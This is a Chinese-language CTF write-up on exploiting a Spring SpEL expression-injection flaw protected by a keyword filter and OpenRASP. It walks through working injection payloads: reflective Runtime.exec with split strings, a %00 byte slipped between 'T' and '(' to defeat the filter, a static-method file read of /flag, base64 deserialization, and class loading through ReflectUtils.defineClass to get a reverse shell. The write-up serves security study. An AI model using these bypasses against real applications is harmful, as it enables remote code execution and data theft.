朋友发来一道 CTF
题目,考察的是 SpEL
表达式注入的利用,目的是读出固定位置 flag 文件 /flag
,难点是目标机器上安装了 openrasp
,并设有额外的关键词检查。
感觉挺有意思,就实际动手玩了下。
根据线上代码的测试情况,推测实际起作用的代码可能如下:
import org.springframework.expression.Expression; import org.springframework.expression.spel.standard.SpelExpressionParser; String spel = "''.getClass().forName('<a href="http://java.la" rel="nofollow">java.la</a>'+'<a href="http://ng.Ru" rel="nofollow">ng.Ru</a>'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('<a href="http://java.la" rel="nofollow">java.la</a>'+'<a href="http://ng.Ru" rel="nofollow">ng.Ru</a>'+'ntime').getMethod('getRu'+'ntime').invoke(null),'open -a Calculator')"; SpelExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(spel); expression.getValue().toString();
用 二. 测试代码 在本地测试,发现很容易就能执行代码,但是在线上的实际环境中确没有执行成功。
于是粗测了下线上 openrasp
防护的环境,发现在没有进入 openrasp
层面的检查前,首先会十分暴力的直接拦截请求体中以下关键词:
ProcessBuilder java.lang getClass Runtime new T( #
所以像上文测试代码中的 ''.getClass().forName('java.la'+'ng.Ru'+'ntime')
虽然避免了 java.lang
、 Runtime
关键词,但是会因为含有 getClass
关键词而被拦截。
当然,我们依然可以使用 ''.class.getSuperclass().class.forName
替换 ''.getClass().forName
来绕过对 getClass
关键词的拦截,最终构造出来如下执行命令的代码:
''.class.getSuperclass().class.forName('<a href="http://java.la" rel="nofollow">java.la</a>'%2B'<a href="http://ng.Ru" rel="nofollow">ng.Ru</a>'%2B'ntime').getMethod('ex'%2B'ec',''.class).invoke(''.class.getSuperclass().class.forName('<a href="http://java.la" rel="nofollow">java.la</a>'%2B'<a href="http://ng.Ru" rel="nofollow">ng.Ru</a>'%2B'ntime').getMethod('getRu'%2B'ntime').invoke(null),'id')
当绕过关键词检查后,又触发了 openrasp
层面对执行命令的函数的检查:
因为目的是读文件,所以可以先不关注命令执行。
简单分析一下,发现最致命的是拦截了 new
这个关键词,试图阻止我们创建对象实例,这样就会导致很多奇技淫巧没办法施展。
仅仅是读文件,当缺少 new
这个关键词时,在 SpEL 表达式中执行也不是那么容易。但是,我们依然可以尝试找到合适的静态方法执行代码,而 绕过显示的创建对象实例 这个步骤。
比如,JDK 7 及以上版本中,可以用以下代码来读取文本文件:
java.nio.file.Files.readAllLines(java.nio.file.Paths.get("/flag"), java.nio.charset.Charset.defaultCharset())
转换成 SpEL 语法:
T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/flag'), T(java.nio.charset.Charset).defaultCharset())
但是因为含有 T(
关键词,还没有到 openrasp 层面就被拦截了。
我简单的尝试了在 T
和 (
字符中间增加常见的空白字符,如空格、换行符号,无法绕过检查,所以暂时搁置了这种方法。
因此,从上文的初步测试和分析来看,绕过上文描述的系统进行 SpEL
表达式注入有两个关键点:
new T(
Java 中创建对象的方法大概有下面这六种:
前三种都因为含有 new
关键词而无法使用,第四种需要借助已经生成的对象实例,所以也无法使用。
因此可以集中精力研究第5和第6中方法来创建对象:
一个简单的从文件中进行反序列化的主要代码示例如下:
FileInputStream fis=new FileInputStream("object.ser"); ObjectInputStream ois=new ObjectInputStream(fis); ois.readObject();
可以发现普通的反序列化即使可以通过反序列化创建对象,但是也绕不过创建 ObjectInputStream
实例时对 new
关键词的检查。
Unsafe 是位于 sun.misc 包下的一个类,其中的 allocateInstance
方法可以在只提供具体类的 Class 对象的情况下用来创建类的实例对象。
正常利用代码中可以结合 defineClass
避免使用 new
关键词而直接完成类的创建和实例化:
String payload = "yv66vgAAA..."; byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(payload); java.lang.reflect.Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null); unsafe.allocateInstance(unsafe.defineClass("Exploit", bytes, 0, bytes.length));
但是因为当前环境中没办法完成赋值操作,也执行不了多语句,所以目前这种方法也不能在上文提到的 SpEL 环境中使用。
上文一再提到对 T(
关键词的拦截,那是因为在 SpEL
中, T
操作符可以被用来指定一个 java.lang.Class
类型的实例,同时静态方法也可以使用该运算符调用。
通俗点来讲:
String.class
在 SpEL 表达式中可以用 T(String)
来表示; A
类中的静态方法 b
在普通 java 代码中可以直接用 A.b
来调用,在 SpEL 表达式中就可以用 T(A).b
来调用 上文中提到,插入空格和换行并没有绕过对 T(
关键词的过滤,如果能够绕过,就可以使用上文中提到的静态方法直接读出 /flag
文件。
那么是否真的就绕不过去呢?于是,我 debug 了下 SpEL 解析的代码,发现在 spring-expression-5.2.5.RELEASE.jar!/org/springframework/expression/spel/standard/Tokenizer.class
中有段代码如下:
public List<Token> process() { while(this.pos < this.max) { char ch = this.charsToProcess[this.pos]; if (this.isAlphabetic(ch)) { this.lexIdentifier(); } else { switch(ch) { case '/u0000': ++this.pos; break; case '/u0001': case '/u0002': case '/u0003': case '/u0004': case '/u0005': case '/u0006': case '/u0007': case '/b': case '/u000b': case '/f': case '/u000e': case '/u000f': case '/u0010': case '/u0011': case '/u0012': case '/u0013': case '/u0014': case '/u0015': case '/u0016': case '/u0017': case '/u0018': case '/u0019': case '/u001a': case '/u001b': case '/u001c': case '/u001d': case '/u001e': case '/u001f': case ';': case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': case 'G': case 'H': case 'I': case 'J': case 'K': case 'L': case 'M': case 'N': case 'O': case 'P': case 'Q': case 'R': case 'S': case 'T': case 'U': case 'V': case 'W': case 'X': case 'Y': case 'Z': case '`': case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'g': case 'h': case 'i': case 'j': case 'k': case 'l': case 'm': case 'n': case 'o': case 'p': case 'q': case 'r': case 's': case 't': case 'u': case 'v': case 'w': case 'x': case 'y': case 'z': default: throw new IllegalStateException("Cannot handle (" + ch + ") '" + ch + "'"); case '/t': case '/n': case '/r': case ' ': ++this.pos; break; case '!': if (this.isTwoCharToken(<a href="http://TokenKind.NE" rel="nofollow">TokenKind.NE</a>)) { this.pushPairToken(<a href="http://TokenKind.NE" rel="nofollow">TokenKind.NE</a>); } else { if (this.isTwoCharToken(TokenKind.PROJECT)) { this.pushPairToken(TokenKind.PROJECT); continue; } this.pushCharToken(TokenKind.NOT); } break; case '"': this.lexDoubleQuotedStringLiteral(); break; case '#': this.pushCharToken(TokenKind.HASH); break; case '$': if (this.isTwoCharToken(TokenKind.SELECT_LAST)) { this.pushPairToken(TokenKind.SELECT_LAST); break; } this.lexIdentifier(); break; case '%': this.pushCharToken(TokenKind.MOD); break; case '&': if (this.isTwoCharToken(TokenKind.SYMBOLIC_AND)) { this.pushPairToken(TokenKind.SYMBOLIC_AND); break; } this.pushCharToken(TokenKind.FACTORY_BEAN_REF); break; case '/'': this.lexQuotedStringLiteral(); break; case '(': this.pushCharToken(TokenKind.LPAREN); break; case ')': this.pushCharToken(TokenKind.RPAREN); break; case '*': this.pushCharToken(TokenKind.STAR); break; case '+': if (this.isTwoCharToken(TokenKind.INC)) { this.pushPairToken(TokenKind.INC); break; } this.pushCharToken(TokenKind.PLUS); break; case ',': this.pushCharToken(TokenKind.COMMA); break; case '-': if (this.isTwoCharToken(TokenKind.DEC)) { this.pushPairToken(TokenKind.DEC); break; } this.pushCharToken(TokenKind.MINUS); break; case '.': this.pushCharToken(TokenKind.DOT); break; case '/': this.pushCharToken(TokenKind.DIV); break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': this.lexNumericLiteral(ch == '0'); break; case ':': this.pushCharToken(TokenKind.COLON); break; case '<': if (this.isTwoCharToken(TokenKind.LE)) { this.pushPairToken(TokenKind.LE); break; } this.pushCharToken(<a href="http://TokenKind.LT" rel="nofollow">TokenKind.LT</a>); break; case '=': if (this.isTwoCharToken(TokenKind.EQ)) { this.pushPairToken(TokenKind.EQ); break; } this.pushCharToken(TokenKind.ASSIGN); break; case '>': if (this.isTwoCharToken(<a href="http://TokenKind.GE" rel="nofollow">TokenKind.GE</a>)) { this.pushPairToken(<a href="http://TokenKind.GE" rel="nofollow">TokenKind.GE</a>); break; } this.pushCharToken(<a href="http://TokenKind.GT" rel="nofollow">TokenKind.GT</a>); break; case '?': if (this.isTwoCharToken(TokenKind.SELECT)) { this.pushPairToken(TokenKind.SELECT); } else if (this.isTwoCharToken(TokenKind.ELVIS)) { this.pushPairToken(TokenKind.ELVIS); } else { if (this.isTwoCharToken(TokenKind.SAFE_NAVI)) { this.pushPairToken(TokenKind.SAFE_NAVI); continue; } this.pushCharToken(TokenKind.QMARK); } break; case '@': this.pushCharToken(TokenKind.BEAN_REF); break; case '[': this.pushCharToken(TokenKind.LSQUARE); break; case '//': this.raiseParseException(this.pos, SpelMessage.UNEXPECTED_ESCAPE_CHAR); break; case ']': this.pushCharToken(TokenKind.RSQUARE); break; case '^': if (this.isTwoCharToken(TokenKind.SELECT_FIRST)) { this.pushPairToken(TokenKind.SELECT_FIRST); break; } this.pushCharToken(TokenKind.POWER); break; case '_': this.lexIdentifier(); break; case '{': this.pushCharToken(TokenKind.LCURLY); break; case '|': if (!this.isTwoCharToken(TokenKind.SYMBOLIC_OR)) { this.raiseParseException(this.pos, SpelMessage.MISSING_CHARACTER, "|"); } this.pushPairToken(TokenKind.SYMBOLIC_OR); break; case '}': this.pushCharToken(TokenKind.RCURLY); } } } return this.tokens; }
上面的代码在解析字符时,将空格字符和 /u0000
字符当成了空白符号,遇到就会 ++this.pos
,所以,直接尝试在 T
和 (
字符中间插入 %00 ,然后成功进行了绕过。
使用前面提到的静态方法读文件的代码,在 T
和 (
字符串中间插入 %00 字符绕过关键词检查,openrasp 也没有拦截正常的读文件方法,所以可以成功读取文件:
到这里测试的目的就达到了,不过光读文件还是不太好,最好是能够执行任意代码,达到命令执行的效果。
结合上面讲到的反序列化创建对象的方法,可以用 spring
自封装的静态方法 org.springframework.util.SerializationUtils.deserialize
,在规避 new
关键词的同时反序列化执行代码,再结合 base64
的静态方法,具体 SpEL 表达式可写为:
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
这样,把反序列化数据用 base64
编码后就可以用 SpEL
执行了,实际测试可以执行 URLDNS
的反序列化 payload:
虽然方法可行,但是在实际环境中大概试了几个常用反序列化 gadget,发现没成功, 不清楚是环境中没有相关 gadget 还是被 openrasp 拦截了,也就没继续测试下去。
本篇文章到此就应该结束了,但是奈何我又突然想起设计模式中的一个知识点: 饿汉式单例模式 ,按照我们的需求,它可以简化成下面这样的代码:
public class Singleton { private static Singleton s = new Singleton(); private Singleton() { ...... } }
由于设置了 static 类型的类属性 Singleton s = new Singleton()
,再结合类加载的知识,那么只要加载 Singleton
类,jvm 就会自动帮我们 new Singleton()
实例化,所以只要把恶意代码写在默认的类构造器中,就不需要显示的实例化类,也能执行我们的代码了。当然,直接使用更为熟悉的 static{}
代码块也有相同的效果。
既然突破了创建对象这一关,剩下的就是想办法加载我们的恶意类了。
功夫不负有心人,结合上面提到的使用静态方法执行代码的技巧,我找到 spring 中的一个关键类 org.springframework.cglib.core.ReflectUtils
,其中有个 defineClass
静态方法:
public static Class defineClass(String className, byte[] b, ClassLoader loader) throws Exception { return defineClass(className, b, loader, PROTECTION_DOMAIN); }
方法需要传入 类名 、 类的字节码字节数组 和 类加载器 就可以成功的加载恶意类,完美符合我们的要求。
在构造代码时,为了方便我又在 spring 中找了一个获取 ClassLoader
的静态方法 org.springframework.util.ClassUtils.getDefaultClassLoader()
,然后构造的 SpEL 表达式:
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
最后,结合 %00 绕过对 T(
关键词的过滤,执行了自定代码,成功的绕过 openrasp
反弹 shell:
本文详细记录了对 SpEL 代码执行环境中关键词检查的分析及绕过过程,并通过静态方法读取了目标 flag 文件;
最后结合 static
关键词的特点和 java 类加载特性,没有使用 new
关键词在 SpEL 中实现了类的实例化,利用类加载绕过 openrasp 成功执行了自定义代码。